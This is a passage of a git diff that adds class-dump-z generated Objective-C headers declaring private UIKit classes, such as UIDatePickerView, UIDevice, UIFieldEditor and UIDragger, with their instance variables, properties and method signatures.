animated:(BOOL)animated; +-(CGSize)sizeThatFits:(CGSize)fits; +@end + +@interface UIDatePicker (UIDatePickerDeprecated) +-(void)setDelegate:(id)delegate; +-(void)setTimeInterval:(double)interval; +-(double)timeInterval; +-(id)dateComponents; +-(void)setDateComponents:(id)components; +-(void)setStaggerTimeIntervals:(BOOL)intervals; +-(void)setHighlightsToday:(BOOL)today; +-(int)hour; +-(int)minute; +-(int)second; +-(void)setDate:(id)date animate:(BOOL)animate; +@end + diff --git a/igor/headers/dumpedUIKit/UIDatePickerView.h b/igor/headers/dumpedUIKit/UIDatePickerView.h new file mode 100644 index 0000000..7fdcc32 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDatePickerView.h @@ -0,0 +1,127 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIPickerView.h" +#import "UIKit-Structs.h" +#import "UIPickerViewDelegate.h" +#import "UIPickerViewDataSource.h" + +@class NSString, UILabel, NSLocale, NSTimeZone, NSCalendar, NSDateComponents, UIDatePicker, NSDate; + +__attribute__((visibility("hidden"))) +@interface UIDatePickerView : UIPickerView { +@private + int _datePickerMode; + NSLocale* _locale; + NSTimeZone* _timeZone; + NSCalendar* _calendar; + NSDate* _date; + NSDate* _minimumDate; + NSDate* _maximumDate; + double _countDownDuration; + int _minuteInterval; + NSDateComponents* _referenceComponents; + double _todaySinceReferenceDate; + NSDateComponents* _todayDateComponents; + NSString* _amString; + NSString* _pmString; + UILabel* _hourLabel; + UILabel* _minuteLabel; + UIDatePicker* _datePickerDelegate; + id _delegateOfDatePicker; + int _numberOfDaysInCurrentMonth; + int _expectedAMPM; + NSDateComponents* _minDateComponents; + NSDateComponents* _maxDateComponents; + struct { + unsigned dateOrder : 2; + unsigned timeOrder : 2; + unsigned weekdayOrder : 1; + unsigned staggerTimeIntervals : 1; + unsigned loadingDateOrTime : 1; + unsigned highlightsToday : 1; + unsigned reserved : 24; + } _datePickerFlags; +} +@property(assign, nonatomic) int datePickerMode; +@property(retain, nonatomic) NSLocale* locale; +@property(retain, nonatomic) NSTimeZone* timeZone; +@property(copy, nonatomic) NSCalendar* calendar; +@property(copy, nonatomic) NSDate* date; +@property(copy, nonatomic) NSDate* minimumDate; +@property(copy, nonatomic) NSDate* maximumDate; +@property(assign, nonatomic) int minuteInterval; +@property(assign, nonatomic) id delegateOfDatePicker; +@property(assign, nonatomic) double countDownDuration; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(float)_tableRowHeight; +-(id)pickerImageNamePrefix; +-(int)_incrementForElement:(unsigned)element; +-(void)_doneLoadingDateOrTime; +-(BOOL)_showingDate; +-(int)_numberOfDaysInDate:(id)date; +-(void)_updateReferenceBits; +-(void)_updateBitsForDate:(id)date andReload:(BOOL)reload animateIfNeeded:(BOOL)needed; +-(void)setDate:(id)date animated:(BOOL)animated; +-(int)hour; +-(int)minute; +-(int)second; +-(id)_datePickerCellFont; +-(id)_ampmCellFont; +-(id)_hrMinFont; +-(int)_numberOfDaysInWeek; +-(unsigned)_elementForColumn:(int)column; +-(int)_columnForElement:(unsigned)element; +-(int)numberOfComponentsInPickerView:(id)pickerView; +-(void)setStaggerTimeIntervals:(BOOL)intervals; +-(int)_incrementedAmountForValue:(int)value withElement:(unsigned)element; +-(void)scrollerDidScroll:(id)scroller; +-(int)pickerView:(id)view numberOfRowsInComponent:(int)component; +-(void)_updateRowInColumn:(int)column toValue:(int)value withRepeatingAmount:(int)repeatingAmount element:(unsigned)element animated:(BOOL)animated; +-(void)_loadDateAnimated:(BOOL)animated; +-(void)pickerViewLoaded:(id)loaded; +-(void)_loadDesignatorStrings; +-(void)setDelegate:(id)delegate; +-(int)_selectedHourForColumn:(int)column; +-(int)_selectedMinuteForColumn:(int)column; +-(int)_minuteForRow:(int)row; +-(int)_secondForRow:(int)row; +-(void)_setDateComponent:(id)component withElement:(unsigned)element; +-(BOOL)_updateDateOrTime; +-(id)_fadeLabel:(id)label toNewLabelWithString:(id)string ifAnimated:(BOOL)animated; +-(id)_minutesString; +-(id)_hoursString; +-(void)_updateLabels:(BOOL)labels; +-(void)pickerView:(id)view didSelectRow:(int)row inComponent:(int)component; +-(int)_dayForRow:(int)row; +-(int)_hourForRow:(int)row; +-(BOOL)_shouldEnableDayForRow:(int)row column:(int)column; +-(BOOL)_shouldEnableMonthForRow:(int)row column:(int)column; +-(BOOL)_scrollingAnyColumnExcept:(int)except; +-(BOOL)_shouldEnableMinuteForValue:(int)value column:(int)column; +-(BOOL)_shouldEnableHourForValue:(int)value column:(int)column; +-(BOOL)_shouldEnableYearForRow:(int)row; +-(BOOL)_shouldEnableWeekMonthDayForCell:(id)cell; +-(void)scrollerWillStartDragging:(id)scroller; +-(void)_updateEnabledCells:(BOOL)cells; +-(id)_todayTextColor; +-(void)_ensureTodayIsSet; +-(int)_monthForRow:(int)row; +-(void)_setupCell:(id)cell atRow:(int)row inColumn:(int)column withElementFlag:(unsigned)elementFlag; +-(void)setHighlightsToday:(BOOL)today; +-(id)dateComponents; +-(void)setDateComponents:(id)components; +-(float)pickerView:(id)view rowHeightForComponent:(int)component; +-(float)pickerView:(id)view widthForComponent:(int)component; +-(id)pickerView:(id)view viewForRow:(int)row forComponent:(int)component reusingView:(id)view4; +-(id)shadowColor; +-(id)_createAccessoryViewWithText:(id)text andFont:(id)font; +-(id)_createLabelWithString:(id)string above:(id)above; +-(void)pickerView:(id)view createdTable:(id)table forColumn:(int)column; +@end + diff --git a/igor/headers/dumpedUIKit/UIDateTableCell.h b/igor/headers/dumpedUIKit/UIDateTableCell.h new file mode 100644 index 0000000..2bdbb2b --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDateTableCell.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIImageAndTextTableCell.h" + + +__attribute__((visibility("hidden"))) +@interface UIDateTableCell : UIImageAndTextTableCell { +@private + float _horizontalOffset; + float _verticalOffset; +} +-(id)initWithFrame:(CGRect)frame; +-(void)setHorizontalOffset:(float)offset; +-(void)setVerticalOffset:(float)offset; +-(CGRect)contentBounds; +-(id)shadowColor; +@end + diff --git a/igor/headers/dumpedUIKit/UIDefaultKeyboardInput.h b/igor/headers/dumpedUIKit/UIDefaultKeyboardInput.h new file mode 100644 index 0000000..c832b0c --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDefaultKeyboardInput.h @@ -0,0 +1,106 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIKeyboardInput.h" +#import "UIView.h" + +@class UITextInputTraits, UITextInteractionAssistant, UITextSelectionView, UIColor; +@protocol UITextSelectingContent; + +@interface UIDefaultKeyboardInput : UIView { + UITextInputTraits* m_traits; +} +@property(assign, nonatomic) int autocapitalizationType; +@property(assign, nonatomic) int autocorrectionType; +@property(assign, nonatomic) int keyboardType; +@property(assign, nonatomic) int keyboardAppearance; +@property(assign, nonatomic) int returnKeyType; +@property(assign, nonatomic) BOOL enablesReturnKeyAutomatically; +@property(assign, nonatomic, getter=isSecureTextEntry) BOOL secureTextEntry; +@property(assign, nonatomic) CFCharacterSetRef textTrimmingSet; +@property(retain, nonatomic) UIColor* insertionPointColor; +@property(assign, nonatomic) unsigned insertionPointWidth; +@property(assign, nonatomic) int textLoupeVisibility; +@property(assign, nonatomic) int textSelectionBehavior; +@property(assign, nonatomic) id textSuggestionDelegate; +@property(assign, nonatomic) BOOL contentsIsSingleValue; +@property(assign, nonatomic) BOOL acceptsEmoji; +@property(readonly, assign, nonatomic) UITextSelectionView* selectionView; +@property(readonly, assign, nonatomic) UITextInteractionAssistant* interactionAssistant; +@property(readonly, assign, nonatomic) UIView* content; +@property(readonly, assign, nonatomic, getter=isEditable) BOOL editable; +@property(readonly, assign, nonatomic, getter=isEditing) BOOL editing; +-(void)dealloc; +-(id)textInputTraits; +-(void)forwardInvocation:(id)invocation; +-(id)methodSignatureForSelector:(SEL)selector; +-(void)takeTraitsFrom:(id)from; +-(id)delegate; +-(void)deleteBackward; +-(void)insertText:(id)text; +-(void)replaceRangeWithText:(NSRange)text replacementText:(id)text2; +-(void)replaceCurrentWordWithText:(id)text; +-(void)replaceRangeWithTextWithoutClosingTyping:(NSRange)textWithoutClosingTyping replacementText:(id)text; +-(void)setMarkedText:(id)text selectedRange:(NSRange)range; +-(void)setMarkedText:(id)text; +-(void)confirmMarkedText:(id)text; +-(id)markedText; +-(unsigned short)characterInRelationToCaretSelection:(int)caretSelection; +-(unsigned short)characterBeforeCaretSelection; +-(unsigned short)characterAfterCaretSelection; +-(id)fontForCaretSelection; +-(id)textColorForCaretSelection; +-(CGRect)rectForNSRange:(NSRange)nsrange; +-(id)rectsForNSRange:(NSRange)nsrange; +-(CGRect)rectContainingCaretSelection; +-(id)wordRangeContainingCaretSelection; +-(BOOL)shouldEnableAutoShift; +-(id)wordContainingCaretSelection; +-(id)wordInRange:(id)range; +-(void)expandSelectionToStartOfWordContainingCaretSelection; +-(int)wordOffsetInRange:(id)range; +-(BOOL)hasContent; +-(BOOL)hasSelection; +-(int)selectionState; +-(BOOL)selectionAtDocumentStart; +-(BOOL)selectionAtSentenceStart; +-(BOOL)selectionAtWordStart; +-(NSRange)selectionRange; +-(NSRange)markedTextRange; +-(id)selectedDOMRange; +-(void)setSelectedDOMRange:(id)range affinityDownstream:(BOOL)downstream; +-(id)rangeByMovingCurrentSelection:(int)selection; +-(id)rangeByExtendingCurrentSelection:(int)selection; +-(void)extendCurrentSelection:(int)selection; +-(void)moveBackward:(unsigned)backward; +-(void)moveForward:(unsigned)forward; +-(void)selectAll; +-(void)setText:(id)text; +-(id)text; +-(void)setSelectionWithPoint:(CGPoint)point; +-(CGRect)caretRect; +-(CGRect)convertCaretRect:(CGRect)rect; +-(id)keyboardInputView; +-(BOOL)isShowingPlaceholder; +-(void)setupPlaceholderTextIfNeeded; +-(id)editingDelegate; +-(void)setEditingDelegate:(id)delegate; +-(BOOL)isSecure; +-(void)setSecure:(BOOL)secure; +-(BOOL)isProxyFor:(id)aFor; +-(CGRect)selectionClipRect; +-(void)beginSelectionChange; +-(void)endSelectionChange; +-(void)updateSelection; +-(BOOL)becomesEditableWithGestures; +-(void)setBecomesEditableWithGestures:(BOOL)gestures; +-(void)detachSelectionView; +-(void)detachInteractionAssistant; +-(CGRect)visibleBounds; +@end + diff --git a/igor/headers/dumpedUIKit/UIDefaultWebViewInteractionDelegate.h b/igor/headers/dumpedUIKit/UIDefaultWebViewInteractionDelegate.h new file mode 100644 index 0000000..6e13686 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDefaultWebViewInteractionDelegate.h @@ -0,0 +1,15 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +__attribute__((visibility("hidden"))) +@interface UIDefaultWebViewInteractionDelegate : NSObject { +} +@end + diff --git a/igor/headers/dumpedUIKit/UIDelayedAction.h b/igor/headers/dumpedUIKit/UIDelayedAction.h new file mode 100644 index 0000000..5b1f304 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDelayedAction.h @@ -0,0 +1,37 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSString, NSTimer; + +__attribute__((visibility("hidden"))) +@interface UIDelayedAction : NSObject { +@private + id m_target; + SEL m_action; + id m_userInfo; + double m_delay; + NSTimer* m_timer; + BOOL m_canceled; + NSString* m_runLoopMode; +} +-(id)initWithTarget:(id)target action:(SEL)action userInfo:(id)info delay:(double)delay mode:(id)mode; +-(id)initWithTarget:(id)target action:(SEL)action userInfo:(id)info delay:(double)delay; +-(void)dealloc; +-(void)touch; +-(void)touchWithDelay:(double)delay; +-(void)cancel; +-(void)unschedule; +-(id)userInfo; +-(BOOL)scheduled; +-(void)setTarget:(id)target; +-(id)target; +-(double)delay; +-(void)timerFired:(id)fired; +@end + diff --git a/igor/headers/dumpedUIKit/UIDelayedControlTargetAction.h b/igor/headers/dumpedUIKit/UIDelayedControlTargetAction.h new file mode 100644 index 0000000..ba16e1f --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDelayedControlTargetAction.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIControlTargetAction.h" + +@class UIEvent; + +__attribute__((visibility("hidden"))) +@interface UIDelayedControlTargetAction : UIControlTargetAction { +@private + UIEvent* _event; +} +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIDeprecatedDelayedControlTargetAction.h b/igor/headers/dumpedUIKit/UIDeprecatedDelayedControlTargetAction.h new file mode 100644 index 0000000..e8ff5fc --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDeprecatedDelayedControlTargetAction.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControlTargetAction.h" + + +__attribute__((visibility("hidden"))) +@interface UIDeprecatedDelayedControlTargetAction : UIControlTargetAction { +@private + GSEventRef _event; +} +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIDevice.h b/igor/headers/dumpedUIKit/UIDevice.h new file mode 100644 index 0000000..c3cedc9 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDevice.h @@ -0,0 +1,58 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIDevice.h" +#import "UIKit-Structs.h" + +@class NSString; + +@interface UIDevice : NSObject { +@private + int _numDeviceOrientationObservers; + float _batteryLevel; + struct { + unsigned batteryMonitoringEnabled : 1; + unsigned proximityMonitoringEnabled : 1; + unsigned orientation : 3; + unsigned batteryState : 2; + unsigned proximityState : 1; + } _deviceFlags; +} +@property(readonly, assign, nonatomic) BOOL proximityState; +@property(assign, nonatomic, getter=isProximityMonitoringEnabled) BOOL proximityMonitoringEnabled; +@property(readonly, assign, nonatomic) float batteryLevel; +@property(readonly, assign, nonatomic) int batteryState; +@property(assign, nonatomic, getter=isBatteryMonitoringEnabled) BOOL batteryMonitoringEnabled; +@property(readonly, assign, nonatomic, getter=isGeneratingDeviceOrientationNotifications) BOOL generatesDeviceOrientationNotifications; +@property(readonly, retain, nonatomic) NSString* uniqueIdentifier; +@property(readonly, assign, nonatomic) int orientation; +@property(readonly, retain, nonatomic) NSString* systemVersion; +@property(readonly, retain, nonatomic) NSString* systemName; +@property(readonly, retain, nonatomic) NSString* localizedModel; +@property(readonly, retain, nonatomic) NSString* model; +@property(readonly, retain, nonatomic) NSString* name; ++(int)currentDeviceOrientationAllowingAmbiguous:(BOOL)ambiguous; ++(id)currentDevice; +-(id)buildVersion; +-(void)setOrientation:(int)orientation; +-(void)beginGeneratingDeviceOrientationNotifications; +-(void)endGeneratingDeviceOrientationNotifications; +@end + +@interface UIDevice (UIDevicePrivate) +@property(readonly, retain, nonatomic) NSString* buildVersion; +@property(assign, nonatomic) int orientation; +-(void)_setProximityState:(BOOL)state; +-(void)_setBatteryState:(int)state; +-(void)_setBatteryLevel:(float)level; +@end + +@interface UIDevice (Private) +-(void)_enableDeviceOrientationEvents:(BOOL)events; +@end + diff --git a/igor/headers/dumpedUIKit/UIDeviceRGBColor.h b/igor/headers/dumpedUIKit/UIDeviceRGBColor.h new file mode 100644 index 0000000..925ee06 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDeviceRGBColor.h @@ -0,0 +1,36 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIColor.h" +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface UIDeviceRGBColor : UIColor { +@private + float redComponent; + float greenComponent; + float blueComponent; + float alphaComponent; + CGColorRef cachedColor; +} +-(id)initWithHue:(float)hue saturation:(float)saturation brightness:(float)brightness alpha:(float)alpha; +-(id)initWithRed:(float)red green:(float)green blue:(float)blue alpha:(float)alpha; +-(id)initWithCGColor:(CGColorRef)cgcolor; +-(void)dealloc; +-(id)colorWithAlphaComponent:(float)alphaComponent; +-(CGColorRef)_createCGColorWithAlpha:(float)alpha; +-(void)set; +-(void)setFill; +-(void)setStroke; +-(id)colorSpaceName; +-(id)description; +-(BOOL)isEqual:(id)equal; +-(unsigned)hash; +-(CGColorRef)CGColor; +@end + diff --git a/igor/headers/dumpedUIKit/UIDeviceWhiteColor.h b/igor/headers/dumpedUIKit/UIDeviceWhiteColor.h new file mode 100644 index 0000000..4c3651a --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDeviceWhiteColor.h @@ -0,0 +1,33 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIColor.h" +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface UIDeviceWhiteColor : UIColor { +@private + float whiteComponent; + float alphaComponent; + CGColorRef cachedColor; +} +-(id)initWithWhite:(float)white alpha:(float)alpha; +-(id)initWithCGColor:(CGColorRef)cgcolor; +-(void)dealloc; +-(CGColorRef)_createCGColorWithAlpha:(float)alpha; +-(id)colorWithAlphaComponent:(float)alphaComponent; +-(void)set; +-(void)setFill; +-(void)setStroke; +-(id)colorSpaceName; +-(id)description; +-(BOOL)isEqual:(id)equal; +-(unsigned)hash; +-(CGColorRef)CGColor; +@end + diff --git a/igor/headers/dumpedUIKit/UIDimmingView.h b/igor/headers/dumpedUIKit/UIDimmingView.h new file mode 100644 index 0000000..d4d8918 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDimmingView.h @@ -0,0 +1,28 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UIDimmingView : UIView { +@private + id _delegate; + CGGradientRef _gradient; +} +@property(assign, nonatomic) id delegate; ++(id)dimmingViewForView:(id)view; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)drawRect:(CGRect)rect; +-(void)transitionDidStop:(id)transition finished:(id)finished context:(id)context; +-(void)display:(BOOL)display withAnimationDuration:(float)animationDuration; +-(void)mouseUp:(GSEventRef)up; +-(void)touchesEnded:(id)ended withEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/UIDragRecognizer.h b/igor/headers/dumpedUIKit/UIDragRecognizer.h new file mode 100644 index 0000000..b188fe3 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDragRecognizer.h @@ -0,0 +1,42 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIGestureRecognizer.h" + +@class UITouch, UIDelayedAction; + +__attribute__((visibility("hidden"))) +@interface UIDragRecognizer : UIGestureRecognizer { +@private + double _maximumDeviation; + double _minimumDistance; + CGPoint _startPosition; + BOOL _restrictsToAngle; + double _angle; + UITouch* _touch; + UIDelayedAction* _tooSlow; + double _startAngle; +} +@property(assign, nonatomic) double maximumDeviation; +@property(assign, nonatomic) CGPoint startPosition; +@property(assign, nonatomic) double minimumDistance; +@property(retain, nonatomic) UITouch* touch; +@property(assign, nonatomic) BOOL restrictsToAngle; +@property(assign, nonatomic) double angle; +@property(assign, nonatomic) double startAngle; +-(id)initWithTarget:(id)target action:(SEL)action; +-(void)dealloc; +-(void)reset; +-(void)clearTimer; +-(void)tooSlow:(id)slow; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/UIDragger.h b/igor/headers/dumpedUIKit/UIDragger.h new file mode 100644 index 0000000..b0b27e1 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIDragger.h @@ -0,0 +1,49 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class NSArray, UIImageView, UIView; + +@interface UIDragger : NSObject { + /*function-pointer*/ void* _interpolator; + UIView* _target; + id _delegate; + SEL _action; + CGPoint _startLocation; + CGPoint _stopLocation; + double _duration; + BOOL _showFinger; + unsigned _port; + NSArray* _modes; + unsigned long long _startTimestamp; + unsigned long long _stopTimestamp; + unsigned long long _lastTimestamp; + BOOL _waitingForSmoothScrolling; + UIImageView* _fingerView; +} +-(id)init; +-(void)dealloc; +-(void)setInterpolation:(/*function-pointer*/ void*)interpolation; +-(void)setTarget:(id)target; +-(void)setDelegate:(id)delegate; +-(void)setAction:(SEL)action; +-(void)setStartLocation:(CGPoint)location; +-(void)setStopLocation:(CGPoint)location; +-(void)setDuration:(double)duration; +-(void)showFinger; +-(void)_postMouseEvent:(int)event timestamp:(unsigned long long)timestamp location:(CGPoint)location; +-(double)_delayUntilNextEvent; +-(void)dragDidEnd; +-(void)_smoothScrollingWillStart:(id)_smoothScrolling; +-(void)_smoothScrollingDidEnd:(id)_smoothScrolling; +-(void)_stopDrag:(id)drag; +-(void)_continueDrag:(id)drag; +-(void)run; +@end + diff --git a/igor/headers/dumpedUIKit/UIEvent.h b/igor/headers/dumpedUIKit/UIEvent.h new file mode 100644 index 0000000..aa28cb8 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIEvent.h @@ -0,0 +1,36 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIEvent.h" +#import "UIKit-Structs.h" + + +@interface UIEvent : NSObject { +@private + double _timestamp; +} +@property(readonly, assign, nonatomic) double timestamp; +@property(readonly, assign, nonatomic) int subtype; +@property(readonly, assign, nonatomic) int type; +-(id)allTouches; +-(id)touchesForWindow:(id)window; +-(id)touchesForView:(id)view; +@end + +@interface UIEvent (UIEventInternal) +-(id)_init; +-(void)_setTimestamp:(double)timestamp; +@end + +@interface UIEvent (UIEventPrivate) +-(id)_initWithEvent:(GSEventRef)event touches:(id)touches; +-(GSEventRef)_gsEvent; +-(id)_touchesForGestureRecognizer:(id)gestureRecognizer; +-(int)_shakeState; +@end + diff --git a/igor/headers/dumpedUIKit/UIFieldEditor.h b/igor/headers/dumpedUIKit/UIFieldEditor.h new file mode 100644 index 0000000..abe8f22 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIFieldEditor.h @@ -0,0 +1,101 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIWebDocumentView.h" +#import "UIAutoscrollContainer.h" +#import "UIKit-Structs.h" + +@class UIView, NSString, DOMDocument, DOMHTMLElement; + +__attribute__((visibility("hidden"))) +@interface UIFieldEditor : UIWebDocumentView { +@private + DOMDocument* _document; + DOMHTMLElement* _textElement; + DOMHTMLElement* _sizeElement; + NSString* _initialText; + NSString* _initialStyle; + UIView* _proxiedView; + unsigned _changingView : 1; + unsigned _mouseWasDragged : 1; + unsigned _disableNotifications : 1; + unsigned _shouldMaintainFirstResponderWhenEndEditing : 1; + unsigned _isResigningFirstResponder : 1; + unsigned _delegateRespondsToFieldEditorDidChange : 1; + unsigned _delegateRespondsToShouldInsertText : 1; + unsigned _delegateRespondsToShouldReplaceWithText : 1; + unsigned _fieldEditorReentrancyGuard : 1; + unsigned _reserved : 22; +} +@property(assign, nonatomic) CGPoint autoscrollContentOffset; ++(id)activeFieldEditor; ++(id)sharedFieldEditor; ++(void)releaseSharedInstance; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)selectAll; +-(BOOL)canResignFirstResponder; +-(BOOL)becomeFirstResponder; +-(BOOL)resignFirstResponder; +-(id)_responderForBecomeFirstResponder; +-(BOOL)shouldChangeSelectionForEvent:(GSEventRef)event; +-(NSRange)selectionRange; +-(void)setSelection:(NSRange)selection; +-(void)revealSelection; +-(void)setTextSelectionBehavior:(int)behavior; +-(unsigned)characterOffsetAtPoint:(CGPoint)point; +-(id)textInputTraits; +-(BOOL)keyboardInput:(id)input shouldInsertText:(id)text isMarkedText:(BOOL)text3; +-(BOOL)keyboardInputShouldDelete:(id)keyboardInput; +-(BOOL)keyboardInputChanged:(id)changed; +-(void)keyboardInputChangedSelection:(id)selection; +-(int)keyboardInput:(id)input positionForAutocorrection:(id)autocorrection; +-(void)becomeFieldEditorForView:(id)view; +-(void)maintainFieldEditorWhenEndEditingForView:(id)view; +-(void)_setTextElementStyle:(id)style; +-(void)setStyle:(id)style; +-(id)style; +-(id)textColorForCaretSelection; +-(void)_setTextElementString:(id)string; +-(void)setText:(id)text andSetCaretSelectionAfterText:(BOOL)text2; +-(id)text; +-(void)setCaretColor:(id)color; +-(int)scrollXOffset; +-(int)scrollYOffset; +-(void)setScrollXOffset:(int)offset scrollYOffset:(int)offset2; +-(void)setScrollXOffset:(int)offset scrollYOffset:(int)offset2 adjustForPurpleCaret:(BOOL)purpleCaret; +-(CGSize)contentSize; +-(void)scrollSelectionToVisible:(BOOL)visible; +-(void)scrollToMakeInlineHoleVisible; +-(void)webViewDidChange:(id)webView; +-(BOOL)webView:(id)view shouldChangeSelectedDOMRange:(id)range toDOMRange:(id)domrange affinity:(int)affinity stillSelecting:(BOOL)selecting; +-(BOOL)webView:(id)view shouldInsertText:(id)text replacingDOMRange:(id)range givenAction:(int)action; +-(BOOL)webView:(id)view shouldDeleteDOMRange:(id)range; +-(BOOL)hasMarkedText; +-(id)proxiedView; +-(void)setFrame:(CGRect)frame; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(BOOL)isProxyFor:(id)aFor; +-(void)resumeWithNotification:(id)notification; +-(id)customOverlayContainer; +-(id)automaticallySelectedOverlay; +-(void)setNotificationsDisabled:(BOOL)disabled; +-(id)_parentTextViewForLoupe; +-(BOOL)_usesSingleLineSelectionBehavior; +-(BOOL)mouseEventsChangeSelection; +-(id)selectionView; +-(CGRect)selectionClipRect; +-(void)selectionChanged; +-(void)startAutoscroll:(CGPoint)autoscroll; +-(void)updateAutoscroll:(id)autoscroll; +-(void)autoscrollWillNotStart; +-(CGRect)contentFrameForView:(id)view; +@end + diff --git a/igor/headers/dumpedUIKit/UIFingerInfo.h b/igor/headers/dumpedUIKit/UIFingerInfo.h new file mode 100644 index 0000000..e495dc3 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIFingerInfo.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + + +__attribute__((visibility("hidden"))) +@interface UIFingerInfo : NSObject { +@private + CFDictionaryRef _fingers; + int _activeFinger; + BOOL _activeFingerLocked; +} +-(void)dealloc; +-(void)startTouch:(XXStruct_$jUSvD)touch withEvent:(GSEventRef)event adjustLocation:(BOOL)location; +-(BOOL)chordChanged:(XXStruct_$jUSvD)changed withEvent:(GSEventRef)event adjustLocation:(BOOL)location; +-(BOOL)fingersMoved:(XXStruct_$jUSvD)moved withEvent:(GSEventRef)event adjustLocation:(BOOL)location; +-(BOOL)hasActiveFinger; +@end + diff --git a/igor/headers/dumpedUIKit/UIFlicker.h b/igor/headers/dumpedUIKit/UIFlicker.h new file mode 100644 index 0000000..76e4c3c --- /dev/null +++ b/igor/headers/dumpedUIKit/UIFlicker.h @@ -0,0 +1,36 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIKit-Structs.h" + +@class UIView; + +@interface UIFlicker : NSObject { + UIView* _target; + CGPoint _startLocation; + int _throwIterations; + id _delegate; + int _mouseUpCount; + int _mouseDraggedCount; + float _delay; + CGPoint _offset; +} +-(void)_mouseDraggedMemberListTest; +-(void)_mouseUpMemberListTest; 